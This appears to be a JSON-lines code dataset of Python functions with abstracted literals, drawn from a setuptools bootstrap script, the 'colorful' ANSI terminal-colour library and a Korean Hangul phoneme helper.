{"signature": "def _extractall(self, path=\"<STR_LIT:.>\", members=None):", "body": "import copy<EOL>import operator<EOL>from tarfile import ExtractError<EOL>directories = []<EOL>if members is None:<EOL><INDENT>members = self<EOL><DEDENT>for tarinfo in members:<EOL><INDENT>if tarinfo.isdir():<EOL><INDENT>directories.append(tarinfo)<EOL>tarinfo = copy.copy(tarinfo)<EOL>tarinfo.mode = <NUM_LIT>  <EOL><DEDENT>self.extract(tarinfo, path)<EOL><DEDENT>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:4>):<EOL><INDENT>def sorter(dir1, dir2):<EOL><INDENT>return cmp(dir1.name, dir2.name)<EOL><DEDENT>directories.sort(sorter)<EOL>directories.reverse()<EOL><DEDENT>else:<EOL><INDENT>directories.sort(key=operator.attrgetter('<STR_LIT:name>'), reverse=True)<EOL><DEDENT>for tarinfo in directories:<EOL><INDENT>dirpath = os.path.join(path, tarinfo.name)<EOL>try:<EOL><INDENT>self.chown(tarinfo, dirpath)<EOL>self.utime(tarinfo, dirpath)<EOL>self.chmod(tarinfo, dirpath)<EOL><DEDENT>except ExtractError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if self.errorlevel > <NUM_LIT:1>:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>self._dbg(<NUM_LIT:1>, \"<STR_LIT>\" % e)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Extract all members from the archive to the current working\n       directory and set owner, modification time and permissions on\n       directories afterwards. `path' specifies a different directory\n       to extract to. `members' is optional and must be a subset of the\n       list returned by getmembers().", "id": "f1732:m17"}
{"signature": "def _build_install_args(options):", "body": "install_args = []<EOL>if options.user_install:<EOL><INDENT>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:6>):<EOL><INDENT>log.warn(\"<STR_LIT>\")<EOL>raise SystemExit(<NUM_LIT:1>)<EOL><DEDENT>install_args.append('<STR_LIT>')<EOL><DEDENT>return install_args<EOL>", "docstring": "Build the arguments to 'python setup.py install' on the distribute package", "id": "f1732:m18"}
{"signature": "def _parse_args():", "body": "parser = optparse.OptionParser()<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT:store_true>', default=False,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', metavar=\"<STR_LIT>\",<EOL>default=DEFAULT_URL,<EOL>help='<STR_LIT>')<EOL>options, args = parser.parse_args()<EOL>return options<EOL>", "docstring": "Parse the command line for options", "id": "f1732:m19"}
{"signature": "def main(version=DEFAULT_VERSION):", "body": "options = _parse_args()<EOL>tarball = download_setuptools(download_base=options.download_base)<EOL>return _install(tarball, _build_install_args(options))<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f1732:m20"}
{"signature": "def show():", "body": "with colorful.with_style('<STR_LIT>') as c:<EOL><INDENT>sys.stdout.write(c.bold('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.dimmed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.italic('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.underlined('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.inversed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.concealed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.struckthrough('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(c.orange('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.purple('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.seaGreen('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.green('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.yellow('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(c.on_orange('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_purple('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_seaGreen('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.gray_on_green('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.gray_on_yellow('<STR_LIT>') + '<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": "Show the modifiers and colors", "id": "f1739:m0"}
{"signature": "def show():", "body": "with colorful.with_style('<STR_LIT>') as c:<EOL><INDENT>sys.stdout.write(c.bold('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.dimmed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.italic('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.underlined('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.inversed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.concealed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.struckthrough('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(c.yellow('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.cyan('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.green('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(c.on_yellow('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_cyan('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(c.on_green('<STR_LIT>') + '<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": "Show the modifiers and colors", "id": "f1740:m0"}
{"signature": "def show():", "body": "<EOL>sys.stdout.write(colorful.bold('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.dimmed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.italic('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.underlined('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.inversed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.concealed('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.struckthrough('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(colorful.red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.green('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.yellow('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.cyan('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.white('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>sys.stdout.write(colorful.on_red('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_green('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_yellow('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_blue('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_magenta('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_cyan('<STR_LIT>') + '<STR_LIT:U+0020>')<EOL>sys.stdout.write(colorful.on_white('<STR_LIT>') + '<STR_LIT:\\n>')<EOL>", "docstring": "Show the modifiers and colors", "id": "f1741:m0"}
{"signature": "def read_version():", "body": "finder = VersionFinder()<EOL>path = os.path.join(PROJECT_ROOT, '<STR_LIT>', '<STR_LIT>')<EOL>with codecs.open(path, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as fp:<EOL><INDENT>file_data = fp.read().encode('<STR_LIT:utf-8>')<EOL>finder.visit(ast.parse(file_data))<EOL><DEDENT>return finder.version<EOL>", "docstring": "Read version from __init__.py without loading any files", "id": "f1742:m0"}
{"signature": "def detect_color_support(env):  ", "body": "if env.get('<STR_LIT>', '<STR_LIT:0>') == '<STR_LIT:1>':<EOL><INDENT>return NO_COLORS<EOL><DEDENT>if env.get('<STR_LIT>', '<STR_LIT:0>') == '<STR_LIT:1>':<EOL><INDENT>return ANSI_8_COLORS<EOL><DEDENT>if env.get('<STR_LIT>', '<STR_LIT:0>') == '<STR_LIT:1>':<EOL><INDENT>return ANSI_16_COLORS<EOL><DEDENT>if env.get('<STR_LIT>', '<STR_LIT:0>') == '<STR_LIT:1>':<EOL><INDENT>return ANSI_256_COLORS<EOL><DEDENT>if env.get('<STR_LIT>', '<STR_LIT:0>') == '<STR_LIT:1>':<EOL><INDENT>return TRUE_COLORS<EOL><DEDENT>if not sys.stdout.isatty():<EOL><INDENT>return NO_COLORS<EOL><DEDENT>colorterm_env = env.get('<STR_LIT>')<EOL>if colorterm_env:<EOL><INDENT>if colorterm_env in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return TRUE_COLORS<EOL><DEDENT>if colorterm_env in {'<STR_LIT>'}:<EOL><INDENT>return ANSI_256_COLORS<EOL><DEDENT><DEDENT>termprog_env = env.get('<STR_LIT>')<EOL>if termprog_env:<EOL><INDENT>if termprog_env in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return TRUE_COLORS<EOL><DEDENT>if termprog_env in {'<STR_LIT>'}:<EOL><INDENT>return ANSI_256_COLORS<EOL><DEDENT><DEDENT>term_env = env.get('<STR_LIT>')<EOL>if term_env:<EOL><INDENT>if term_env in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return ANSI_256_COLORS<EOL><DEDENT>if term_env in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return ANSI_16_COLORS<EOL><DEDENT><DEDENT>if colorterm_env:<EOL><INDENT>return ANSI_16_COLORS<EOL><DEDENT>return ANSI_8_COLORS<EOL>", "docstring": "Detect what color palettes are supported.\nIt'll return a valid color mode to use\nwith colorful.\n\n:param dict env: the environment dict like returned by ``os.envion``", "id": "f1743:m0"}
{"signature": "def rgb_to_ansi256(r, g, b):", "body": "if r == g and g == b:<EOL><INDENT>if r < <NUM_LIT:8>:<EOL><INDENT>return <NUM_LIT:16><EOL><DEDENT>if r > <NUM_LIT>:<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>return round(((r - <NUM_LIT:8>) / <NUM_LIT>) * <NUM_LIT>) + <NUM_LIT><EOL><DEDENT>ansi_r = <NUM_LIT> * round(r / <NUM_LIT> * <NUM_LIT>)<EOL>ansi_g = <NUM_LIT:6> * round(g / <NUM_LIT> * <NUM_LIT>)<EOL>ansi_b = round(b / <NUM_LIT> * <NUM_LIT>)<EOL>ansi = <NUM_LIT:16> + ansi_r + ansi_g + ansi_b<EOL>return ansi<EOL>", "docstring": "Convert RGB to ANSI 256 color", "id": "f1745:m1"}
{"signature": "def rgb_to_ansi16(r, g, b, use_bright=False):", "body": "ansi_b = round(b / <NUM_LIT>) << <NUM_LIT:2><EOL>ansi_g = round(g / <NUM_LIT>) << <NUM_LIT:1><EOL>ansi_r = round(r / <NUM_LIT>)<EOL>ansi = (<NUM_LIT> if use_bright else <NUM_LIT:30>) + (ansi_b | ansi_g | ansi_r)<EOL>return ansi<EOL>", "docstring": "Convert RGB to ANSI 16 color", "id": "f1745:m2"}
{"signature": "@contextmanager<EOL><INDENT>def with_setup(self, colormode=None, colorpalette=None, extend_colors=False):<DEDENT>", "body": "colorful = Colorful(<EOL>colormode=self.colorful.colormode,<EOL>colorpalette=copy.copy(self.colorful.colorpalette)<EOL>)<EOL>colorful.setup(<EOL>colormode=colormode, colorpalette=colorpalette, extend_colors=extend_colors<EOL>)<EOL>yield colorful<EOL>", "docstring": "Return a new Colorful object with the given color config.", "id": "f1746:c0:m1"}
{"signature": "def __getattr__(self, name):", "body": "<EOL>orig_module = __name__ + '<STR_LIT>'<EOL>if orig_module in sys.modules:<EOL><INDENT>try:<EOL><INDENT>return getattr(sys.modules[orig_module], name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>return getattr(self.colorful, name)<EOL>", "docstring": "Dynamically get methods from Colorful object.", "id": "f1746:c0:m9"}
{"signature": "def translate_rgb_to_ansi_code(red, green, blue, offset, colormode):", "body": "if colormode == terminal.NO_COLORS:  <EOL><INDENT>return '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>if colormode == terminal.ANSI_8_COLORS or colormode == terminal.ANSI_16_COLORS:<EOL><INDENT>color_code = ansi.rgb_to_ansi16(red, green, blue)<EOL>start_code = ansi.ANSI_ESCAPE_CODE.format(<EOL>code=color_code + offset - ansi.FOREGROUND_COLOR_OFFSET)<EOL>end_code = ansi.ANSI_ESCAPE_CODE.format(code=offset + ansi.COLOR_CLOSE_OFFSET)<EOL>return start_code, end_code<EOL><DEDENT>if colormode == terminal.ANSI_256_COLORS:<EOL><INDENT>color_code = ansi.rgb_to_ansi256(red, green, blue)<EOL>start_code = ansi.ANSI_ESCAPE_CODE.format(code='<STR_LIT>'.format(<EOL>base=<NUM_LIT:8> + offset, code=color_code))<EOL>end_code = ansi.ANSI_ESCAPE_CODE.format(code=offset + ansi.COLOR_CLOSE_OFFSET)<EOL>return start_code, end_code<EOL><DEDENT>if colormode == terminal.TRUE_COLORS:<EOL><INDENT>start_code = ansi.ANSI_ESCAPE_CODE.format(code='<STR_LIT>'.format(<EOL>base=<NUM_LIT:8> + offset, red=red, green=green, blue=blue))<EOL>end_code = ansi.ANSI_ESCAPE_CODE.format(code=offset + ansi.COLOR_CLOSE_OFFSET)<EOL>return start_code, end_code<EOL><DEDENT>raise ColorfulError('<STR_LIT>'.format(colormode))<EOL>", "docstring": "Translate the given RGB color into the appropriate ANSI escape code\nfor the given color mode.\nThe offset is used for the base color which is used.\n\nThe ``colormode`` has to be one of:\n    * 0: no colors / disabled\n    * 8: use ANSI 8 colors\n    * 16: use ANSI 16 colors (same as 8 but with brightness)\n    * 256: use ANSI 256 colors\n    * 0xFFFFFF / 16777215: use 16 Million true colors\n\n:param int red: the red channel value\n:param int green: the green channel value\n:param int blue: the blue channel value\n:param int offset: the offset to use for the base color\n:param int colormode: the color mode to use. See explanation above", "id": "f1747:m0"}
{"signature": "def translate_colorname_to_ansi_code(colorname, offset, colormode, colorpalette):", "body": "try:<EOL><INDENT>red, green, blue = colorpalette[colorname]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ColorfulError('<STR_LIT>'.format(  <EOL>colorname))<EOL><DEDENT>else:<EOL><INDENT>return translate_rgb_to_ansi_code(red, green, blue, offset, colormode)<EOL><DEDENT>", "docstring": "Translate the given color name to a valid\nANSI escape code.\n\n:parma str colorname: the name of the color to resolve\n:parma str offset: the offset for the color code\n:param int colormode: the color mode to use. See ``translate_rgb_to_ansi_code``\n:parma dict colorpalette: the color palette to use for the color name mapping\n\n:returns str: the color as ANSI escape code\n\n:raises ColorfulError: if the given color name is invalid", "id": "f1747:m1"}
{"signature": "def resolve_modifier_to_ansi_code(modifiername, colormode):", "body": "if colormode == terminal.NO_COLORS:  <EOL><INDENT>return '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>start_code, end_code = ansi.MODIFIERS[modifiername]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ColorfulError('<STR_LIT>'.format(<EOL>modifiername, ansi.MODIFIERS.keys()))<EOL><DEDENT>else:<EOL><INDENT>return ansi.ANSI_ESCAPE_CODE.format(<EOL>code=start_code), ansi.ANSI_ESCAPE_CODE.format(<EOL>code=end_code)<EOL><DEDENT>", "docstring": "Resolve the given modifier name to a valid\nANSI escape code.\n\n:param str modifiername: the name of the modifier to resolve\n:param int colormode: the color mode to use. See ``translate_rgb_to_ansi_code``\n\n:returns str: the ANSI escape code for the modifier\n\n:raises ColorfulError: if the given modifier name is invalid", "id": "f1747:m2"}
{"signature": "def translate_style(style, colormode, colorpalette):", "body": "style_parts = iter(style.split('<STR_LIT:_>'))<EOL>ansi_start_sequence = []<EOL>ansi_end_sequence = []<EOL>try:<EOL><INDENT>part = None<EOL>for mod_part in style_parts:<EOL><INDENT>part = mod_part<EOL>if part not in ansi.MODIFIERS:<EOL><INDENT>break  <EOL><DEDENT>mod_start_code, mod_end_code = resolve_modifier_to_ansi_code(part, colormode)<EOL>ansi_start_sequence.append(mod_start_code)<EOL>ansi_end_sequence.append(mod_end_code)<EOL><DEDENT>else:  <EOL><INDENT>raise StopIteration()<EOL><DEDENT>if part != '<STR_LIT>':<EOL><INDENT>ansi_start_code, ansi_end_code = translate_colorname_to_ansi_code(<EOL>part, ansi.FOREGROUND_COLOR_OFFSET, colormode, colorpalette)<EOL>ansi_start_sequence.append(ansi_start_code)<EOL>ansi_end_sequence.append(ansi_end_code)<EOL>next(style_parts)<EOL><DEDENT>part = next(style_parts)<EOL>ansi_start_code, ansi_end_code = translate_colorname_to_ansi_code(<EOL>part, ansi.BACKGROUND_COLOR_OFFSET, colormode, colorpalette)<EOL>ansi_start_sequence.append(ansi_start_code)<EOL>ansi_end_sequence.append(ansi_end_code)<EOL><DEDENT>except StopIteration:  <EOL><INDENT>pass<EOL><DEDENT>return '<STR_LIT>'.join(ansi_start_sequence), '<STR_LIT>'.join(ansi_end_sequence)<EOL>", "docstring": "Translate the given style to an ANSI escape code\nsequence.\n\n``style`` examples are:\n\n* green\n* bold\n* red_on_black\n* bold_green\n* italic_yellow_on_cyan\n\n:param str style: the style to translate\n:param int colormode: the color mode to use. See ``translate_rgb_to_ansi_code``\n:parma dict colorpalette: the color palette to use for the color name mapping", "id": "f1747:m3"}
{"signature": "def style_string(string, ansi_style, colormode, nested=False):", "body": "ansi_start_code, ansi_end_code = ansi_style<EOL>if PY2:<EOL><INDENT>if isinstance(string, str):<EOL><INDENT>string = string.decode(DEFAULT_ENCODING)<EOL><DEDENT><DEDENT>string = UNICODE(string).replace(ansi.NEST_PLACEHOLDER, ansi_start_code)<EOL>return '<STR_LIT>'.format(<EOL>start_code=ansi_start_code,<EOL>string=string,<EOL>end_code=ansi_end_code,<EOL>nest_ph=ansi.NEST_PLACEHOLDER if nested else '<STR_LIT>')<EOL>", "docstring": "Style the given string according to the given\nANSI style string.\n\n:param str string: the string to style\n:param tuple ansi_style: the styling string returned by ``translate_style``\n:param int colormode: the color mode to use. See ``translate_rgb_to_ansi_code``\n\n:returns: a string containing proper ANSI sequence", "id": "f1747:m4"}
{"signature": "@property<EOL><INDENT>def colorpalette(self):<DEDENT>", "body": "return self._colorpalette<EOL>", "docstring": "Get the current used color palette", "id": "f1747:c2:m1"}
{"signature": "@colorpalette.setter<EOL><INDENT>def colorpalette(self, colorpalette):<DEDENT>", "body": "if isinstance(colorpalette, str):  <EOL><INDENT>colorpalette = colors.parse_colors(colorpalette)<EOL><DEDENT>self._colorpalette = colors.sanitize_color_palette(colorpalette)<EOL>", "docstring": "Set the colorpalette which should be used", "id": "f1747:c2:m2"}
{"signature": "def setup(self, colormode=None, colorpalette=None, extend_colors=False):", "body": "if colormode:<EOL><INDENT>self.colormode = colormode<EOL><DEDENT>if colorpalette:<EOL><INDENT>if extend_colors:<EOL><INDENT>self.update_palette(colorpalette)<EOL><DEDENT>else:<EOL><INDENT>self.colorpalette = colorpalette<EOL><DEDENT><DEDENT>", "docstring": "Setup this colorful object by setting a ``colormode`` and\nthe ``colorpalette`. The ``extend_colors`` flag is used\nto extend the currently active color palette instead of\nreplacing it.\n\n:param int colormode: the color mode to use. See ``translate_rgb_to_ansi_code``\n:parma dict colorpalette: the colorpalette to use. This ``dict`` should map\n                          color names to it's corresponding RGB value\n:param bool extend_colors: extend the active color palette instead of replacing it", "id": "f1747:c2:m3"}
{"signature": "def disable(self):", "body": "self.colormode = terminal.NO_COLORS<EOL>", "docstring": "Disable all colors and styles", "id": "f1747:c2:m4"}
{"signature": "def use_8_ansi_colors(self):", "body": "self.colormode = terminal.ANSI_8_COLORS<EOL>", "docstring": "Use 8 ANSI colors for this colorful object", "id": "f1747:c2:m5"}
{"signature": "def use_16_ansi_colors(self):", "body": "self.colormode = terminal.ANSI_16_COLORS<EOL>", "docstring": "Use 16 ANSI colors for this colorful object", "id": "f1747:c2:m6"}
{"signature": "def use_256_ansi_colors(self):", "body": "self.colormode = terminal.ANSI_256_COLORS<EOL>", "docstring": "Use 256 ANSI colors for this colorful object", "id": "f1747:c2:m7"}
{"signature": "def use_true_colors(self):", "body": "self.colormode = terminal.TRUE_COLORS<EOL>", "docstring": "Use true colors for this colorful object", "id": "f1747:c2:m8"}
{"signature": "def use_palette(self, colorpalette):", "body": "self.colorpalette = colorpalette<EOL>", "docstring": "Use the given color palette", "id": "f1747:c2:m9"}
{"signature": "def update_palette(self, colorpalette):", "body": "self.colorpalette.update(colors.sanitize_color_palette(colorpalette))<EOL>", "docstring": "Update the currently active color palette\nwith the given color palette", "id": "f1747:c2:m10"}
{"signature": "def use_style(self, style_name):", "body": "try:<EOL><INDENT>style = getattr(styles, style_name.upper())<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ColorfulError('<STR_LIT>'.format(<EOL>style_name))<EOL><DEDENT>else:<EOL><INDENT>self.colorpalette = style<EOL><DEDENT>", "docstring": "Use a predefined style as color palette\n\n:param str style_name: the name of the style", "id": "f1747:c2:m11"}
{"signature": "def format(self, string, *args, **kwargs):", "body": "return string.format(c=self, *args, **kwargs)<EOL>", "docstring": "Format the given string with the given ``args`` and ``kwargs``.\nThe string can contain references to ``c`` which is provided by\nthis colorful object.\n\n:param str string: the string to format", "id": "f1747:c2:m12"}
{"signature": "def str(self, string):", "body": "return ColorfulString(string, string)<EOL>", "docstring": "Create a new ColorfulString instance of the given\nunstyled string.\n\nThis method should be used to create a ColorfulString\nwhich is actually not styled yet but can safely be concatinated\nwith other ColorfulStrings like:\n\n>>> s = colorful.str('Hello ')\n>>> s =+ colorful.black('World')\n>>> str(s)\n'Hello \\033[30mWorld\\033[39m'\n\n:param str string: the string to use for the ColorfulString", "id": "f1747:c2:m13"}
{"signature": "def print(self, *objects, **options):", "body": "<EOL>allowed_options = {'<STR_LIT>', '<STR_LIT:end>', '<STR_LIT:file>', '<STR_LIT>'}<EOL>given_options = set(options.keys())<EOL>if not given_options.issubset(allowed_options):<EOL><INDENT>raise TypeError('<STR_LIT>'.format(<EOL>'<STR_LIT:U+002CU+0020>'.join(given_options.difference(allowed_options))))<EOL><DEDENT>sep = options.get('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>end = options.get('<STR_LIT:end>', '<STR_LIT:\\n>')<EOL>file = options.get('<STR_LIT:file>', sys.stdout)<EOL>flush = options.get('<STR_LIT>', False)<EOL>styled_objects = [self.format(o) for o in objects]<EOL>print(*styled_objects, sep=sep, end=end, file=file)<EOL>if flush:<EOL><INDENT>file.flush()<EOL><DEDENT>", "docstring": "Print the given objects to the given file stream.\nSee https://docs.python.org/3/library/functions.html#print\n\nThe only difference to the ``print()`` built-in is that\n``Colorful.print()`` formats the string with ``c=self``.\nWith that stylings are possible\n\n:param str sep: the seperater between the objects\n:param str end: the ending delimiter after all objects\n:param file: the file stream to write to\n:param bool flush: if the stream should be flushed", "id": "f1747:c2:m14"}
{"signature": "def hex_to_rgb(value):", "body": "value = value.lstrip('<STR_LIT:#>')<EOL>check_hex(value)<EOL>length = len(value)<EOL>step = int(length / <NUM_LIT:3>)<EOL>return tuple(int(value[i:i+step], <NUM_LIT:16>) for i in range(<NUM_LIT:0>, length, step))<EOL>", "docstring": "Convert the given hex string to a\nvalid RGB channel triplet.", "id": "f1748:m0"}
{"signature": "def check_hex(value):", "body": "length = len(value)<EOL>if length not in (<NUM_LIT:3>, <NUM_LIT:6>):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(value))<EOL><DEDENT>regex = r'<STR_LIT>'.format(length=length)<EOL>if not re.search(regex, value, re.I):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(value))<EOL><DEDENT>", "docstring": "Check if the given hex value is a valid RGB color\n\nIt should match the format: [0-9a-fA-F]\nand be of length 3 or 6.", "id": "f1748:m1"}
{"signature": "def parse_colors(path):", "body": "if path.endswith(\"<STR_LIT>\"):<EOL><INDENT>return parse_rgb_txt_file(path)<EOL><DEDENT>elif path.endswith(\"<STR_LIT>\"):<EOL><INDENT>return parse_json_color_file(path)<EOL><DEDENT>raise TypeError(\"<STR_LIT>\")<EOL>", "docstring": "Parse the given color files.\n\n    Supported are:\n        * .txt for X11 colors\n        * .json for colornames", "id": "f1749:m0"}
{"signature": "def parse_rgb_txt_file(path):", "body": "<EOL>color_dict = {}<EOL>with open(path, '<STR_LIT:r>') as rgb_txt:<EOL><INDENT>for line in rgb_txt:<EOL><INDENT>line = line.strip()<EOL>if not line or line.startswith('<STR_LIT:!>'):<EOL><INDENT>continue  <EOL><DEDENT>parts = line.split()<EOL>color_dict[\"<STR_LIT:U+0020>\".join(parts[<NUM_LIT:3>:])] = (int(parts[<NUM_LIT:0>]), int(parts[<NUM_LIT:1>]), int(parts[<NUM_LIT:2>]))<EOL><DEDENT><DEDENT>return color_dict<EOL>", "docstring": "Parse the given rgb.txt file into a Python dict.\n\nSee https://en.wikipedia.org/wiki/X11_color_names for more information\n\n:param str path: the path to the X11 rgb.txt file", "id": "f1749:m1"}
{"signature": "def parse_json_color_file(path):", "body": "with open(path, \"<STR_LIT:r>\") as color_file:<EOL><INDENT>color_list = json.load(color_file)<EOL><DEDENT>color_dict = {c[\"<STR_LIT:name>\"]: c[\"<STR_LIT>\"] for c in color_list}<EOL>return color_dict<EOL>", "docstring": "Parse a JSON color file.\n\n    The JSON has to be in the following format:\n\n    .. code:: json\n\n       [{\"name\": \"COLOR_NAME\", \"hex\": \"#HEX\"}, ...]\n\n    :param str path: the path to the JSON color file", "id": "f1749:m2"}
{"signature": "def sanitize_color_palette(colorpalette):", "body": "new_palette = {}<EOL>def __make_valid_color_name(name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if len(name) == <NUM_LIT:1>:<EOL><INDENT>name = name[<NUM_LIT:0>]<EOL>return name[:<NUM_LIT:1>].lower() + name[<NUM_LIT:1>:]<EOL><DEDENT>return name[<NUM_LIT:0>].lower() + '<STR_LIT>'.join(word.capitalize() for word in name[<NUM_LIT:1>:])<EOL><DEDENT>for key, value in colorpalette.items():<EOL><INDENT>if isinstance(value, str):<EOL><INDENT>value = utils.hex_to_rgb(value)<EOL><DEDENT>new_palette[__make_valid_color_name(key.split())] = value<EOL><DEDENT>return new_palette<EOL>", "docstring": "Sanitze the given color palette so it can\nbe safely used by Colorful.\n\nIt will convert colors specified in hex RGB to\na RGB channel triplet.", "id": "f1749:m3"}
{"signature": "def join_phonemes(*args):", "body": "<EOL>if len(args) == <NUM_LIT:1>:<EOL><INDENT>args = args[<NUM_LIT:0>]<EOL><DEDENT>if len(args) == <NUM_LIT:2>:<EOL><INDENT>args += (CODAS[<NUM_LIT:0>],)<EOL><DEDENT>try:<EOL><INDENT>onset, nucleus, coda = args<EOL><DEDENT>except ValueError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>offset = (<EOL>(ONSETS.index(onset) * NUM_NUCLEUSES + NUCLEUSES.index(nucleus)) *<EOL>NUM_CODAS + CODAS.index(coda)<EOL>)<EOL>return unichr(FIRST_HANGUL_OFFSET + offset)<EOL>", "docstring": "Joins a Hangul letter from Korean phonemes.", "id": "f1751:m2"}
